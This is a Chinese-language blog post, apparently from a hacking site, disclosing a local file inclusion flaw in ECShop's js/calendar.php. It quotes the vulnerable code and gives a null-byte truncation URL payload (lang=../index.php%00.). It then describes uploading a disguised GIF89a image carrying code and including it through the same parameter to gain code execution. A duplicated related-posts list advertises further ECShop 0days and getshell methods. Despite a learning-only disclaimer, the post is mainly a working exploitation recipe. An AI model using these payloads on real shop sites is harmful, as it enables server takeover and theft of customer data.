注：发布本文只是出于学习的目的，请勿用无非法用途！
很久前就发现了，今天发布出来吧，其实很简单，就是很多人没有注意这里：
直接看代码：
js/calendar.php
- $lang = (!empty($_GET['lang']))
- ? trim($_GET['lang']) : 'zh_cn';//没有过滤，很明显的包含漏洞 by: ℡Mr.LP
- if (!file_exists('../languages/' . $lang . '/calendar.php'))
- {
- $lang = 'zh_cn';
- }
- require(dirname(dirname(__FILE__)) . '/data/config.php');
- header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
- include_once('../languages/' . $lang . '/calendar.php');//这里包含，需要截断 by: ℡Mr.
测试代码 :
// 需要 magic_quotes_gpc = Off
/js/calendar.php?lang=../index.php%00.（注意后面有个.）by: ℡Mr.LP
利用：
注册用户
然后上传GIF89a头的GIF文件欺骗，
然后包含 如：[img]http://www.lpboke.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
只显示10条记录相关文章
ecshop最新版 (v272) 本地包含拿SHELL (浏览: 18579, 评论: 0)
ecshop后台获取shell最新方法，通杀最新版本&后台低权限 (浏览: 18175, 评论: 0)
ECshop 支付方式注射 0day (浏览: 14388, 评论: 0)
ecshop v2.72 前台写shell漏洞 (浏览: 12207, 评论: 0)
ecshop2.72鸡肋注入 (浏览: 11154, 评论: 0)
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell (浏览: 13020, 评论: 0)
ecshop后台拿shell的又一种方法 (浏览: 13928, 评论: 0)
ecshop SQL注射漏洞0821 0day (浏览: 11169, 评论: 0)
ECSHOP数据库结构参数表结构说明 (浏览: 15225, 评论: 0)
V5-SHOP商城0day (浏览: 9539, 评论: 0)
ecshop后台获取shell最新方法，通杀最新版本&后台低权限 (浏览: 18175, 评论: 0)
ECshop 支付方式注射 0day (浏览: 14388, 评论: 0)
ecshop v2.72 前台写shell漏洞 (浏览: 12207, 评论: 0)
ecshop2.72鸡肋注入 (浏览: 11154, 评论: 0)
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell (浏览: 13020, 评论: 0)
ecshop后台拿shell的又一种方法 (浏览: 13928, 评论: 0)
ecshop SQL注射漏洞0821 0day (浏览: 11169, 评论: 0)
ECSHOP数据库结构参数表结构说明 (浏览: 15225, 评论: 0)
V5-SHOP商城0day (浏览: 9539, 评论: 0)
Trackbacks
 |
 |
 |
